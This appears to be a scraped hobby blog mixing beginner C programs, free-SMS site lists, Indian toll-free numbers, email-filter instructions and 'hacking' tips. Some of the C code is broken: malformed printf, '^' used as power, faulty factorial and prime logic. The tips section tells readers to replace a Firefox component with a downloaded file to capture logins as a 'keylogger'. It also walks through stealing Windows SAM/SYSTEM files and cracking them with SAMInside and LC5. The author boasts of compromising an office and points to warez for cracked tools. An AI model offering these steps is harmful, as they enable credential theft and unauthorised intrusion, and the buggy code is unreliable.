   printf("\n\t Your choice is Subtraction\n\t Your result is: %",d);
   break;
  }
  case 3:
  {
   d=a*b;
   printf("\n\t Your choice is Multiplication\n\t Your result is: %d",d);
   break;
  }
  case 4:
  {
   c=a/b;
   printf("\n\t Your choice is Divition\n\t Your Result is: %.2f",c);
   break;
  }
  case 5:
  {
   d=a%b;
   printf("\n\t Your Choice is Reminder Operation\n\t Your result is: %d",d);
   break;
  }
  case 6:
  {
   c=sqrt(a);
   printf("\n\tYour choice is root of First Number\n\t Your result is: %.2f",c);
   break;
  }
  case 7:
  {
   d=a^b;
   printf("\n\tYour choice is power calculation \n\t Your result is: %d",d);
   break;
  }
  case 8:
  {
   d=a;
   e=-b;
   printf("\n\tYour choice is Memory operation\n\t Your stored positive number is %d and stored negative number is %d",d,e);
   break;
  }
  default:
  {
   printf("\n\t Your choice is not listed");
  }
 }
 getch();
}

Write a C program to "multiply of 5 of a range of number"

//If limit is 2 then output will 5*1=5 \n 5*2=10

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,m;
 clrscr();
 printf("Enter limitation of this calculation: ");
 scanf("%d",&n);
 for(i=0;n>=i;i++)
 {
  m=5*i;
  printf("5*%d=%d\n",i,m);
 }
 getch();
}

Write a C program to find Factorial value without any function

#include <stdio.h>
#include <conio.h>
void main()
{
 int n,i,r=0,j;
 clrscr();
 printf("Enter Number for calculating factorial: ");
 scanf("%d",&n);
 printf("!%d= ",n);
 r=n*(n-1);
 for(j=n;j!=1;j--)
 {
  printf("%d*",j);
 }
 printf("1= ");
 for(i=n-2;i!=1;i--)
 {
  r=r*i;
 }
 printf("%d",r);
 getch();
}

Write a C Program to convert a Decimal number to Binary Number

#include <stdio.h>
#include <conio.h>
void main()
{
 int a,b,no[100],i,c,n=0;
 clrscr();
 printf("\nEnter Decimal Number: ");
 scanf("%d",&b);
 if(b>0)
 {
  a=b;
  printf("\nThe binary equivalant of decimal number is: 0");
 }
 else
 {
  a=-b;
  printf("\nThe binary equivalant of decimal number is: 1") ;
 }
 for(i=0;a!=0;++i)
 {
  c=a%2;
  no[i]=c;
  a=a/2;
  ++n;
 }

 for(i=n-1;i>=0;--i)
 {
  printf("%d",no[i]);
 }
 getch();
}

Write a C program to perform of Interchange charecter by ASCII code

#include <stdio.h>
#include <conio.h>
#include <string.h>
void main()
{
 char s;
 int a,n;
 clrscr();
 printf("This a program to convert upper case lower case and find ASCII value and IF You know ASCII Value , it find charecter and change case");
 printf("\n\n\n\tChange ASCII to charecter press 1 \n\tchange charecter to ASCII code press 2\n\tASCII Code to charecter Press 3\n\t know ASCII code to charecter Press 4::\n\t Enter your choice: ");
 scanf("%d",&n);
 switch(n)
 {
  case 1:
  {
   printf("\nEnter ASCII code: ");
   scanf("%d",&a);
   printf("Charecter is %c",a);
   if(a>=65&&a<=90)
   {
    printf("\nYou entered a upper case letter\nYour lower case letter is %c",(a+32));
   }
   if(a>=97&&a<=122)
   {
    printf("\nYou entered a lower case letter\nYour upper case letter is %c",(a-32));
   }
   break;
   case 2:
   {
    printf("\nEnter Charecter: ");
    scanf("%s",&s);
    a=s;
    printf("ASCII Code is %d",a);
    if(a>=65&&a<=90)
    {
     printf("You entered a upper case letter\nYour lower case letter is %c",(s+32));
    }
    if(a>=97&&a<=122)
    {
     printf("\nYou entered a lower case letter\nYour upper case letter is %c",(s-32));
    }
    break;
   }
   case 3:
   {
    printf("\nEnter Charecter: ");
    scanf("%s",&s);
    printf("ASCII Code is %d",s);
    break;
   }
   case 4:
   {
    printf("\nEnter ASCII: ");
    scanf("%d",&a);
    printf("Charecter is %c",a);
    break;
   }
   default:
   {
   printf("\n\tInvalid choice!!!");
   }
  }
 }
 getch();
}

Write a C Program to find Area or Triangle

#include <stdio.h>
#include <conio.h>
#include <math.h>
void main()
{
 int a,b,c,p;
 float s,temp,area;
 clrscr();
 printf("Sides: ");
 scanf("%d %d %d",&a,&b,&c);
 if(a>0&&b>0&&c>0)
 {
  p=(a+b+c);
  s=p/2;
  temp=s*(s-a)*(s-b)*(s-c);
  if(temp>0)
  {
   area=sqrt(temp);
   printf("\nThe Area of Triangular is %.2f",area);
  }
  else
  {
   printf("\nInvalid Value!!");
  }
 }
 else
 {
 printf("\nCheck sides Value!!");
 }
 getch();
 }

Write a C program to find PRIME NUMBER and FACTOR

#include <stdio.h>
#include <conio.h>
void main()
{
 int flag,i,n,r,a[100],b,s;
 clrscr();
 printf("\n Enter Number: ");
 scanf("%d",&n);
 printf(" Facrtors are: 1 %d ",n);
 for(i=2;i<=n/2;i++)
 {
  r=n%i;
  if(r==0)
  {
   flag=s;
   a[b]=i;
   b++;
   printf("%d ",i);
  }
 }
 if(flag==s)
 {
  printf("\n So The Number %d is not prime",n);
 }
 else
 {
  printf("\n So The Number %d is prime",n);
 }
 getch();
}

Sunday, August 7, 2011

Send FREE SMS Registration OR Without Resistration and Without SHOWING Your Number

160By2 (Registration 140 Char)
http://www.160by2.com
SMSloop (Registration 140 Char)
http://www.smsloop.com
Way 2 SMS (Registration 160 Char)
http://www.way2sms.in
Full On SMS (Registration 160 Char)
http://www.fullonsms.com
BollywoodMotion (WithOut Registration 500 Char)
http://www.bollywoodmotion.com/free-long-sms-india.html
Free SMS 8 (Registration With Sender ID 148 Char without sender ID (Default ur mob. no.) 160 Char)
http://www.freesms8.in
Free SMS Without Registration with 160 Char
http://www.smsti.in
smsti.in


Free SMS and MMS without Registration any where in world 160 char
Seasms.com
Send SMS any where in INDIA for FREE with 130 char
Spicesms.com

Earn Money From Internet Without Investment

Saturday, May 14, 2011

Toll Free Numbers

Airlines
Indian Airlines – 1800 180 1407
Jet Airways – 1800 22 5522
SpiceJet – 1800 180 3333
Air India — 1800 22 7722
KingFisher – 1800 180 0101
Banks
ABN AMRO – 1800 11 2224
Canara Bank – 1800 44 6000
Citibank – 1800 44 2265
Corporatin Bank – 1800 443 555
Development Credit Bank – 1800 22 5769
HDFC Bank – 1800 227 227
ICICI Bank – 1800 333 499
ICICI Bank NRI – 1800 22 4848
IDBI Bank – 1800 11 6999
Indian Bank – 1800 425 1400
ING Vysya – 1800 44 9900
Kotak Mahindra Bank – 1800 22 6022
Lord Krishna Bank – 1800 11 2300
Punjab National Bank – 1800 122 222
State Bank of India – 1800 44 1955
Syndicate Bank – 1800 44 6655
Automobiles
Mahindra Scorpio – 1800 22 6006
Maruti – 1800 111 515
Tata Motors – 1800 22 5552
Windshield Experts – 1800 11 3636
Computers/IT
Adrenalin – 1800 444 445
AMD – 1800 425 6664
Apple Computers – 1800 444 683
Canon – 1800 333 366
Cisco Systems – 1800 221 777
Compaq – HP – 1800 444 999
Data One Broadband – 1800 424 1800
Dell – 1800 444 026
Epson – 1800 44 0011
ESys – 3970 0011
Genesis Tally Academy – 1800 444 888
HCL – 1800 180 8080
IBM – 1800 443 333
Lexmark – 1800 22 4477
Marshal’s Point – 1800 33 4488
Microsoft – 1800 111 100
Microsoft Virus Update – 1901 333 334
Seagate – 1800 180 1104
Symantec – 1800 44 5533
TVS Electronics – 1800 444 566
WeP Peripherals – 1800 44 6446
Wipro – 1800 333 312
Xerox – 1800 180 1225
Zenith – 1800 222 004
Indian Railyway
Indian Railway General Enquiry 131/139
Indian Railway Central Enquiry 131/139
Indian Railway Reservation 131/139
Indian Railway Railway Reservation Enquiry 1345,1335,1330
Indian Railway Centralised Railway Enquiry 1330/1/2/3/4/ 5/6/7/8/9
Couriers/Packers & Movers
ABT Courier – 1800 44 8585
AFL Wizz – 1800 22 9696
Agarwal Packers & Movers – 1800 11 4321
Associated Packers P Ltd – 1800 21 4560
DHL – 1800 111 345
FedEx – 1800 22 6161
Goel Packers & Movers – 1800 11 3456
UPS – 1800 22 7171
Home Appliances
Aiwa/Sony – 1800 11 1188
Anchor Switches – 1800 22 7979
Blue Star – 1800 22 2200
Bose Audio – 1800 11 2673
Bru Coffee Vending Machines – 1800 44 7171
Daikin Air Conditioners – 1800 444 222
DishTV – 1800 12 3474
Faber Chimneys – 1800 21 4595
Godrej – 1800 22 5511
Grundfos Pumps – 1800 33 4555
LG – 1901 180 9999
Philips – 1800 22 4422
Samsung – 1800 113 444
Sanyo – 1800 11 0101
Voltas – 1800 33 4546
WorldSpace Satellite Radio – 1800 44 5432
Investments/ Finance
CAMS – 1800 44 2267
Chola Mutual Fund – 1800 22 2300
Easy IPO’s – 3030 5757
Fidelity Investments – 1800 180 8000
Franklin Templeton Fund – 1800 425 4255
J M Morgan Stanley – 1800 22 0004
Kotak Mutual Fund – 1800 222 626
LIC Housing Finance – 1800 44 0005
SBI Mutual Fund – 1800 22 3040
Sharekhan – 1800 22 7500
Tata Mutual Fund – 1800 22 0101
Travel
Club Mahindra Holidays – 1800 33 4539
Cox & Kings – 1800 22 1235
God TV Tours – 1800 442 777
Kerala Tourism – 1800 444 747
Kumarakom Lake Resort – 1800 44 5030
Raj Travels & Tours – 1800 22 9900
Sita Tours – 1800 111 911
SOTC Tours – 1800 22 3344
Healthcare
Best on Health – 1800 11 8899
Dr Batras – 1800 11 6767
GlaxoSmithKline – 1800 22 8797
Johnson & Johnson – 1800 22 8111
Kaya Skin Clinic – 1800 22 5292
LifeCell – 1800 44 5323
Manmar Technologies – 1800 33 4420
Pfizer – 1800 442 442
Roche Accu-Chek – 1800 11 45 46
Rudraksha – 1800 21 4708
Varilux Lenses – 1800 44 8383
VLCC – 1800 33 1262
Insurance
AMP Sanmar – 1800 44 2200
Aviva – 1800 33 2244
Bajaj Allianz – 1800 22 5858
Chola MS General Insurance – 1800 44 5544
HDFC Standard Life – 1800 227 227
LIC – 1800 33 4433
Max New York Life – 1800 33 5577
Royal Sundaram – 1800 33 8899
SBI Life Insurance – 1800 22 9090
Hotel Reservations
GRT Grand – 1800 44 5500
InterContinental Hotels Group – 1800 111 000
Marriott – 1800 22 0044
Sarovar Park Plaza – 1800 111 222
Taj Holidays – 1800 111 825
Teleshopping
Asian Sky Shop – 1800 22 1800
Jaipan Teleshoppe – 1800 11 5225
Tele Brands – 1800 11 8000
VMI Teleshopping – 1800 447 777
WWS Teleshopping – 1800 220 777
Others
Domino’s Pizza – 1800 111 123
Cell Phones
BenQ – 1800 22 08 08
Bird CellPhones – 1800 11 7700
Motorola MotoAssist – 1800 11 1211
Nokia – 3030 3838
Sony Ericsson – 3901 1111

Hey friend you know that your firefox work like a keylogger!!!

1) Download the attachment file and change his extension .txt to .js .

2) Install firefox and open C:\Program Files\Mozilla Firefox\components.

3) In Components folder there is a one file name nsLoginManagerPrompter.js

4) Replace downloaded file with original file.

5) Now when you enter any username and password in your firefox. It automatically saved in your browser.

To view password.. Open firefox, goto Tools --> Options --> Security --> Saved Password --> Show Password.



your file may availaible here: http://www.mediafire.com/download.php?sdcyad8b2027q5v

Shutdown any PC by remotely

XP PRO has a lot of fun utilities. One of the most useful ones I have found to date is the ability to remotely reboot a PC. There are 2 ways of doing this. You will need to have admin access to the PC to preform these actions. That being said, here is the first way to do it:

Right click my computer, choose manage.
Highlight the Computer Management (Local) then click on Action, choose connect to another computer.
In the window that opens fill in the machine name of the PC you want to connect to and click ok.
Once connected right click on Computer Management (Remote machine name) and choose properties.
Go to the "Advanced" tab and click the Settings button under Start up and recovery.
Click on the Shutdown button.
Under action choose what you want to do (you can log off current user, shut down, restart, or power down. you can also choose if you want to force all applications to close, close hung apps, or wait for all apps to close by themselves).

The second way... Remember dos... that good old thing. Open up a command prompt and enter in the following:

%windir%\System32\shutdown.exe -r -m \\Machinename.
The command prompt has more switches and options. I highly suggest using shutdown.exe /? to see all the posibilities.

HOW TO GET ANY WINDOWS PASSWORD: BY BACKTRACK

ok..... here are the full details.....

this works whether its windows 2000 or windows xp or windows xp SP1 or SP2 or windows server 2003....

this works even if syskey encryption is employed...

if it is FAT filesystem...

just copy the "sam" file from the location of "C:\WINDOWS\system32\config" to an empty pendrive or cd disk and take it home. I'll tell u what to do with it later... DON'T DELETE THE ORIGINAL SAM FILE. just remove its attributes. the sam file is a file called SAM with no extension. YOU MUST ALSO GET.... a file called "SYSTEM" which is in the same folder as SAM. both files have no extensions...

if it is NTFS....

u have to download a program called NTFSPro.... it allows u to read from ntfs drives... the demo version allows read only. the full version is read-write.... you use the program to create an unbootable disk (so u will still need another bootable disk and an empty disk) that has the required files to access NTFS.

use the boot disk to get into dos, then use the disks created with ntfspro to be able to access the filesystem, then copy the SAM and SYSTEM files to another empty disk to take home....

AT HOME: u have to get a program called SAMInside. it doesn't matter if it is demo version. SAMInside will open the SAM file and extract all the user account information and their passwords, including administrator. SAMInside will ask for the SYSTEM file too if the computer you took the SAM file from has syskey enabled. syskey encrypts the SAM file. SAMInside uses SYSTEM file to decrypt the SAM file. After SAMInside finishes, u still see user accounts and hashes beside them. the hashes are the encoded passwords. Use SAMInside to export the accounts and their hashes as a pwdump file into another program, called LophtCrack. it is currently in version 5, it is named LC5. the previous version, LC4 is just as good. u need the full or cracked version of the program. LC5 uses a brute force method by trying all possible combinations of letters numbers, and unprintable characters to find the correct password from the hashes in the pwdump file imported into it from SAMInside. This process of trying all passwords might take 5 minutes if the password is easy, up to a year if the password is long and hard (really really hard). LC5 howver, unlike LC4, is almost 100 times faster. both can be configured to try dictionary and common words before using all possible combinations of everything. Once the correct password is found, it will display the passwords in clear beside each account, including administrator.

I use this method so many times. I've compromised the whole office computers infrastructure. LC4 usually took between 1 second and 10 minutes to find the passwords because they were common words found in any english dictionary. I haven't used LC5 yet.

If there is anything unclear, anything I overlooked, plz tell me so that I can turn this into a very easy to follow tutorial to help anybody crack any windowz pass.

Programs needed: SAMInside (doesn't matter which version or if demo)
LC4 or LC5 (lophtcrack)( must be full version)
NTFSPro (doesn't matter if demo)
any bootdisk maker or booting disk like dos booting cd


Cracked or full version software can be found on any warez site or just search with google.

Block unwanted E-Mail

Do you want to  block emails from your ex wife/husband? Do you want to block those annoying offers and newsletters that reach your inbox? Well here is a way to block all those unwanted and annoying emails that you do not want to see or read! With this trick you can block individual email address or the whole domain from which you do not want the emails to come from. Here are the step-by-step instructions to do this.
 

For Gmail

 
1. Login to your account
2. At the top-right corner, click on Settings
3. Under Settings, click on Filters
4. You’ll now see an option “Create a new filter“, click on it
5. Now in the From field enter the email address from which you do not want to receive the emails
For ex. you may enter john@gmail .com in the From field to block all incoming emails from this address. However if you want to block the whole domain then use the following syntax: *@xyz.com. Now all the incoming emails from the domain xyz.com will be blocked.
6. Click on Next Step, select the action you’d like to take on the blocked emails. You may select the option Delete it so that the blocked email is moved to trash. To unblock the email, all you need to do is just delete the filter that you’ve created.
 

For Yahoo

 
1. Login to your account
2. At the top-right corner, click on Options
3. A drop down menu appears, now click on More options
4. In the left panel select the option Filters and click on create or edit filters
5. Now click on Add
6. In the next screen, give a name to your filter and in the From header field enter the email address that you want to block.
Fox ex. john@gmail.com or if you want to block an entire domain then just enter @xyz.com. Dont enter *@xyz.com. Select the option Move the message to: Trash and click on Save Changes.
 

For Hotmail

 
1. Login to your account
2. At the top-right corner, click on Options
3. A drop down menu appears, now click on More options
4. Click on Safe and blocked senders link under Junk e-mail
5. Now click on Blocked senders
6. Type in the email address that you want to block under blocked e-mail address or domain field.
For ex. Enter john@yahoo.com to block the individual email address or just enter xyz.com to block the entire domain.
That’s it. You no longer receive those annoying emails in your inbox. Keep your inbox clean and tidy. I hope this post helps. pass your comments!